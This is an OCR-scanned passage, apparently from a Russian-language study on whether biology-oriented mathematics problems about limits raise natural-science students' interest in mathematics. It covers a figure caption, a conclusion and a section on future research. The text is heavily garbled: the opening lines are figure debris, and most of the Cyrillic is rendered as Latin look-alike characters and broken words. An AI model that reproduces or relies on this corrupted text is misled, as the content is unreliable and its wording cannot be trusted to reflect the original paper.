LELLIENIE R ] I | EOMIBUTUHIRGEN B, I_I'r I'l
e . CROCOTE | R '.I o —_— _—
L IV TIRHORMY 60 HOie N (' '|II
K MaATesmnmeke ) \l' |II
b (1
,
Y
l'. r
N MIvHinnaech
H BUHMONNHAVGIHE e ITHIFIIIEHAE K
MUY DPE I EA T e _.zf MATEMATHEE
| TV LT | R ]

., A

Pucynox 4. @axmopei, cnocobcmsyrowjue nogbleHuio uHmepeca K Mamemamuxe cpeou cnyo0eHmos, usyuarouux
ecmecmeentble HAYKU NOCe peuleHus: OUON0SUHeCKU - OPUEHMUPOBAHHBIX MAMEMAMUYECKUX 3a0ay no meme
«Teopus npedenosy. Cnaouinsie cmpenxku npedcmasiaom 3auMocsa3i, NoOmeepaicoaeMule pe3yibmamamu dmo2o
uccnedosanus. Ilynkmuphvle cmpenku npe0cmagiam 63aumoceasu, noomeepicoaemvle meopueil u/uiu opyaumu
UCCTIE00BAHUAMU.

3axmouenue. OCHOBHBIE BBIBOBI HCCIIEIOBAHUS TIPEACTABIICHBI HA PUCYHKaX 2-4.
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Pe3ynpTaThl MOKa3bpIBalOT, YTO OMOJOIMYECKH - OPUEHTUPOBAHHBIE MaTeMaTUYeCKHe
3alayd MOTYT YIYYIIWTh OTHOIICHHE CTYICHTOB, HW3Y4YalOlUX €CTECTBEHHbIE HAYKH, K
MaTeMaTHKe, HarJSIIHO JIEMOHCTPUPYS 3HAYMMOCTh MAaTEMATHKH IS PEIIEHUs] OMOJIOTHIECKUAX
npobieM. BakHO OTMETUTh, YTO MHOTHE CTYIEHTHI UMEIOT 0osiee TIIyOOKOe Mpe/ICTaBlIeHHe O
TOM, KaK MaTeMaTHKa HCIIONb3YeTCsl B OMOJIOrMYECKUX HAayKax, U Ta poJib, KOTOPYIO MareMaTrKa
MOJKET UTPATh B OMOJIOTHH, YTO MOBBIIIAET MOTHBALIMIO K O0YUYEHUIO, & TAKXKE U yCIIEBAEMOCTb.

[lepcniekTHBBI JalibHEHIET0 HCclieoBaHus. Pe3yiabTaThl MHTEIPUPOBAHHBIX KYpPCOB
MaTeMaTHKH U OWONOTHH, OyleT MMETh BKHOE 3HAUEHHE I MOHUMAHUS TOTO, B KaKOH
CTETIEHH OSTU KYypPChl BBI3BIBAIOT JOJITOCPOYHBIE HM3MEHEHUS B SNHCTEMOJOTHYECKHX
MIPEICTABICHUSIX CTYIEHTOB O POJIM MATEMATHUKU B OMOJIOTMIECKUX HAYKaX.
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